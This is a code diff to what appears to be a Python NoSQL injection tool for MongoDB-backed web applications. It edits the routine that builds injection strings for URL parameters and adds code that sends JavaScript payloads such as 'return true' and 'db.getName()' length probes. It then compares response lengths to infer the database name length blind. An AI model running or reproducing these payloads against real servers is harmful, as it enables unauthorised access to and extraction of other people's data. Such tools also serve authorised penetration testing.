@@ -795,7 +795,7 @@ def buildUri(origUri, randValue):
795
795
paramName = []
796
796
paramValue = []
797
797
global uriArray
798
- uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
798
+ uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" , "" ]
799
799
injOpt = ""
800
800
801
801
#Split the string between the path and parameters, and then split each parameter
@@ -868,7 +868,7 @@ def buildUri(origUri, randValue):
868
868
uriArray [14 ] += paramName [x ] + "a'; return true; var dum=a'"
869
869
uriArray [15 ] += paramName [x ] + "1; return true; var dum=2"
870
870
#Add values that can be manipulated for database attacks
871
- uriArray [16 ] += paramName [x ] + "=a\" ; if ---"
871
+ uriArray [16 ] += paramName [x ] + "=a\' ; ---"
872
872
uriArray [17 ] += paramName [x ] + "=1; if ---"
873
873
874
874
else :
@@ -1073,9 +1073,33 @@ def brute_pass(user,key):
1073
1073
return ""
1074
1074
1075
1075
def getDBInfo ():
1076
+ curLen = 0
1077
+ nameLen = 0
1078
+ gotNameLen = False
1079
+ gotDbName = False
1080
+ gotColLen = False
1081
+ gotColName = False
1076
1082
print "Getting baseline True query return size..."
1077
- trueUri = uriArray [17 ].replace ("---" ,"a\' ; return True; var dummy ='!" )
1083
+ trueUri = uriArray [16 ].replace ("---" ,"return true; var dummy ='!" + "&" )
1084
+ print "Debug " + str (trueUri )
1085
+ baseLen = int (len (urllib .urlopen (trueUri ).read ()))
1086
+ print "Got baseline true query length of " + str (baseLen )
1087
+
1078
1088
1079
1089
print "Calculating DB name length..."
1080
1090
1091
+ while gotNameLen == False :
1092
+ calcUri = uriArray [16 ].replace ("---" ,"var curdb = db.getName(); if (curdb.length ==" + str (curLen ) + ") {return true;} vardum='a" + "&" )
1093
+ print "Debug: " + calcUri
1094
+ lenUri = int (len (urllib .urlopen (calcUri ).read ()))
1095
+ print "Debug length: " + str (lenUri )
1096
+
1097
+ if lenUri == baseLen :
1098
+ print " Got database name length of " + str (curLen ) + " characters."
1099
+ gotNameLen = True
1100
+
1101
+ else :
1102
+ curLen += 1
1103
+ raw_input ("Press enter to continue..." )
1104
+
1081
1105
mainMenu ()
0 commit comments